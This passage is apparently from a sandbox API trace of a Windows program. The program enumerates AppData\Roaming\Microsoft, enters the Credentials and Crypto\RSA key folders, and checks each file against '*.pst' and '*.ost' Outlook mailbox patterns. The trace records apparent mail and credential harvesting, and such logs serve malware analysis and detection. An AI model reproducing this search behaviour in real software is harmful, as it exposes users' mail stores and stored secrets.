lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7bbd030, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7bbd030, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x1bc8160, ftLastWriteTime.dwHighDateTime=0x1d2f181, nFileSizeHigh=0x0, nFileSizeLow=0x51722, dwReserved0=0x0, dwReserved1=0x230230, cFileName="APASixthEditionOfficeOnline.xsl", cAlternateFileName="APASIX~1.XSL")) returned 1 [0097.350] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.350] PathMatchSpecW (pszFile="APASixthEditionOfficeOnline.xsl", pszSpec="*.pst") returned 0 [0097.350] PathMatchSpecW (pszFile="APASixthEditionOfficeOnline.xsl", pszSpec="*.ost") returned 0 [0097.350] FindNextFileW (in: hFindFile=0x71e39a0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7bbd030, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7bbd030, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x1c3a580, ftLastWriteTime.dwHighDateTime=0x1d2f181, nFileSizeHigh=0x0, nFileSizeLow=0x48839, dwReserved0=0x0, dwReserved1=0x230230, cFileName="CHICAGO.XSL", cAlternateFileName="")) returned 1 [0097.350] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.350] PathMatchSpecW (pszFile="CHICAGO.XSL", pszSpec="*.pst") returned 0 [0097.351] PathMatchSpecW (pszFile="CHICAGO.XSL", pszSpec="*.ost") returned 0 [0097.351] FindNextFileW (in: hFindFile=0x71e39a0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7be3190, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7be3190, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x1c3a580, ftLastWriteTime.dwHighDateTime=0x1d2f181, nFileSizeHigh=0x0, nFileSizeLow=0x4197e, dwReserved0=0x0, dwReserved1=0x230230, cFileName="GB.XSL", cAlternateFileName="")) returned 1 [0097.351] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.351] PathMatchSpecW (pszFile="GB.XSL", pszSpec="*.pst") returned 0 [0097.351] PathMatchSpecW (pszFile="GB.XSL", pszSpec="*.ost") returned 0 [0097.351] FindNextFileW (in: hFindFile=0x71e39a0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7be3190, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7be3190, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x1c3a580, ftLastWriteTime.dwHighDateTime=0x1d2f181, nFileSizeHigh=0x0, nFileSizeLow=0x3e966, dwReserved0=0x0, dwReserved1=0x230230, cFileName="GostName.XSL", cAlternateFileName="")) returned 1 [0097.351] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.351] PathMatchSpecW (pszFile="GostName.XSL", pszSpec="*.pst") returned 0 [0097.351] PathMatchSpecW (pszFile="GostName.XSL", pszSpec="*.ost") returned 0 [0097.351] FindNextFileW (in: hFindFile=0x71e39a0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7c7b710, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7c7b710, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x1bc8160, ftLastWriteTime.dwHighDateTime=0x1d2f181, nFileSizeHigh=0x0, nFileSizeLow=0x3d639, dwReserved0=0x0, dwReserved1=0x230230, cFileName="GostTitle.XSL", cAlternateFileName="GOSTTI~1.XSL")) returned 1 [0097.351] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.351] PathMatchSpecW (pszFile="GostTitle.XSL", pszSpec="*.pst") returned 0 [0097.351] PathMatchSpecW (pszFile="GostTitle.XSL", pszSpec="*.ost") returned 0 [0097.351] FindNextFileW (in: hFindFile=0x71e39a0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7c7b710, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7c7b710, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x1c3a580, ftLastWriteTime.dwHighDateTime=0x1d2f181, nFileSizeHigh=0x0, nFileSizeLow=0x45882, dwReserved0=0x0, dwReserved1=0x230230, cFileName="HarvardAnglia2008OfficeOnline.xsl", cAlternateFileName="HARVAR~1.XSL")) returned 1 [0097.351] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.351] PathMatchSpecW (pszFile="HarvardAnglia2008OfficeOnline.xsl", pszSpec="*.pst") returned 0 [0097.351] PathMatchSpecW (pszFile="HarvardAnglia2008OfficeOnline.xsl", pszSpec="*.ost") returned 0 [0097.351] FindNextFileW (in: hFindFile=0x71e39a0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7ca1870, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7ca1870, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x22c6200, ftLastWriteTime.dwHighDateTime=0x1d2f181, nFileSizeHigh=0x0, nFileSizeLow=0x47e7d, dwReserved0=0x0, dwReserved1=0x230230, cFileName="IEEE2006OfficeOnline.xsl", cAlternateFileName="IEEE20~1.XSL")) returned 1 [0097.351] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.351] PathMatchSpecW (pszFile="IEEE2006OfficeOnline.xsl", pszSpec="*.pst") returned 0 [0097.351] PathMatchSpecW (pszFile="IEEE2006OfficeOnline.xsl", pszSpec="*.ost") returned 0 [0097.351] FindNextFileW (in: hFindFile=0x71e39a0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7ca1870, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7ca1870, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x22c6200, ftLastWriteTime.dwHighDateTime=0x1d2f181, nFileSizeHigh=0x0, nFileSizeLow=0x42132, dwReserved0=0x0, dwReserved1=0x230230, cFileName="ISO690.XSL", cAlternateFileName="")) returned 1 [0097.351] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.351] PathMatchSpecW (pszFile="ISO690.XSL", pszSpec="*.pst") returned 0 [0097.351] PathMatchSpecW (pszFile="ISO690.XSL", pszSpec="*.ost") returned 0 [0097.351] FindNextFileW (in: hFindFile=0x71e39a0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7ca1870, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7ca1870, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x22c6200, ftLastWriteTime.dwHighDateTime=0x1d2f181, nFileSizeHigh=0x0, nFileSizeLow=0x351ea, dwReserved0=0x0, dwReserved1=0x230230, cFileName="ISO690Nmerical.XSL", cAlternateFileName="ISO690~1.XSL")) returned 1 [0097.351] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.351] PathMatchSpecW (pszFile="ISO690Nmerical.XSL", pszSpec="*.pst") returned 0 [0097.351] PathMatchSpecW (pszFile="ISO690Nmerical.XSL", pszSpec="*.ost") returned 0 [0097.351] FindNextFileW (in: hFindFile=0x71e39a0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7cc79d0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7cc79d0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x2a10560, ftLastWriteTime.dwHighDateTime=0x1d2f181, nFileSizeHigh=0x0, nFileSizeLow=0x3e4f3, dwReserved0=0x0, dwReserved1=0x230230, cFileName="MLASeventhEditionOfficeOnline.xsl", cAlternateFileName="MLASEV~1.XSL")) returned 1 [0097.351] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.351] PathMatchSpecW (pszFile="MLASeventhEditionOfficeOnline.xsl", pszSpec="*.pst") returned 0 [0097.352] PathMatchSpecW (pszFile="MLASeventhEditionOfficeOnline.xsl", pszSpec="*.ost") returned 0 [0097.352] FindNextFileW (in: hFindFile=0x71e39a0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7cc79d0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7cc79d0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x2aa8ae0, ftLastWriteTime.dwHighDateTime=0x1d2f181, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c8, dwReserved0=0x0, dwReserved1=0x230230, cFileName="SIST02.XSL", cAlternateFileName="")) returned 1 [0097.352] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.352] PathMatchSpecW (pszFile="SIST02.XSL", pszSpec="*.pst") returned 0 [0097.352] PathMatchSpecW (pszFile="SIST02.XSL", pszSpec="*.ost") returned 0 [0097.352] FindNextFileW (in: hFindFile=0x71e39a0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7cc79d0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7cc79d0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x22c6200, ftLastWriteTime.dwHighDateTime=0x1d2f181, nFileSizeHigh=0x0, nFileSizeLow=0x54256, dwReserved0=0x0, dwReserved1=0x230230, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 1 [0097.352] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.352] PathMatchSpecW (pszFile="TURABIAN.XSL", pszSpec="*.pst") returned 0 [0097.352] PathMatchSpecW (pszFile="TURABIAN.XSL", pszSpec="*.ost") returned 0 [0097.352] FindNextFileW (in: hFindFile=0x71e39a0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7cc79d0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7cc79d0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x22c6200, ftLastWriteTime.dwHighDateTime=0x1d2f181, nFileSizeHigh=0x0, nFileSizeLow=0x54256, dwReserved0=0x0, dwReserved1=0x230230, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 0 [0097.352] FindClose (in: hFindFile=0x71e39a0 | out: hFindFile=0x71e39a0) returned 1 [0097.352] FindNextFileW (in: hFindFile=0x71e3c40, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7b96ed0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7cc79d0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc7cc79d0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="Style", cAlternateFileName="")) returned 0 [0097.353] FindClose (in: hFindFile=0x71e3c40 | out: hFindFile=0x71e3c40) returned 1 [0097.353] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0097.353] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.353] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="Credentials" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Credentials" [0097.353] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Credentials", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Credentials\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Credentials\\*" [0097.353] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x7200fd0 [0097.399] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.399] FindNextFileW (in: hFindFile=0x7200fd0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0097.399] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.399] FindNextFileW (in: hFindFile=0x7200fd0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 0 [0097.399] FindClose (in: hFindFile=0x7200fd0 | out: hFindFile=0x7200fd0) returned 1 [0097.399] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Crypto", cAlternateFileName="")) returned 1 [0097.399] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.399] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="Crypto" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto" [0097.399] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto\\*" [0097.399] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x7200fd0 [0097.400] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.400] FindNextFileW (in: hFindFile=0x7200fd0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0097.400] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.400] FindNextFileW (in: hFindFile=0x7200fd0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x3368a590, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3368a590, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="RSA", cAlternateFileName="")) returned 1 [0097.400] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.400] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto", pszFile="RSA" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" [0097.400] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*" [0097.400] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x3368a590, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3368a590, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x7200cd0 [0097.400] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.400] FindNextFileW (in: hFindFile=0x7200cd0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x3368a590, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3368a590, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0097.400] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.400] FindNextFileW (in: hFindFile=0x7200cd0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x3368a590, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xc9fa20f0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xc9fa20f0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="S-1-5-21-2345716840-1148442690-1481144037-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0097.400] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.400] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", pszFile="S-1-5-21-2345716840-1148442690-1481144037-1000" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-2345716840-1148442690-1481144037-1000") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-2345716840-1148442690-1481144037-1000" [0097.400] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-2345716840-1148442690-1481144037-1000", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*" [0097.400] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x3368a590, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xc9fa20f0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xc9fa20f0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ac0 [0097.639] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.639] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x3368a590, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xc9fa20f0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xc9fa20f0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0097.639] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.639] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc9fa20f0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xc9fa20f0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xc9fa20f0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x2d, dwReserved0=0x0, dwReserved1=0x230230, cFileName="83aa4cc77f591dfc2374580bbd95f6ba_500c0908-381e-49dc-a6a0-1a800e9a56e0", cAlternateFileName="83AA4C~1")) returned 1 [0097.639] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.639] PathMatchSpecW (pszFile="83aa4cc77f591dfc2374580bbd95f6ba_500c0908-381e-49dc-a6a0-1a800e9a56e0", pszSpec="*.pst") returned 0 [0097.639] PathMatchSpecW (pszFile="83aa4cc77f591dfc2374580bbd95f6ba_500c0908-381e-49dc-a6a0-1a800e9a56e0", pszSpec="*.ost") returned 0 [0097.639] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x33722b10, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x33722b10, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x33722b10, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x31, dwReserved0=0x0, dwReserved1=0x230230, cFileName="8b5db95fe05dd9b00e55df22e826ce4d_500c0908-381e-49dc-a6a0-1a800e9a56e0", cAlternateFileName="8B5DB9~1")) returned 1 [0097.639] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.639] PathMatchSpecW (pszFile="8b5db95fe05dd9b00e55df22e826ce4d_500c0908-381e-49dc-a6a0-1a800e9a56e0", pszSpec="*.pst") returned 0 [0097.639] PathMatchSpecW (pszFile="8b5db95fe05dd9b00e55df22e826ce4d_500c0908-381e-49dc-a6a0-1a800e9a56e0", pszSpec="*.ost") returned 0 [0097.639] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x33722b10, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x33722b10, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x33722b10, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x31, dwReserved0=0x0, dwReserved1=0x230230, cFileName="8b5db95fe05dd9b00e55df22e826ce4d_500c0908-381e-49dc-a6a0-1a800e9a56e0", cAlternateFileName="8B5DB9~1")) returned 0 [0097.639] FindClose (in: hFindFile=0x71e8ac0 | out: hFindFile=0x71e8ac0) returned 1 [0097.640] FindNextFileW (in: hFindFile=0x7200cd0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x3368a590, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xc9fa20f0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xc9fa20f0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="S-1-5-21-2345716840-1148442690-1481144037-1000", 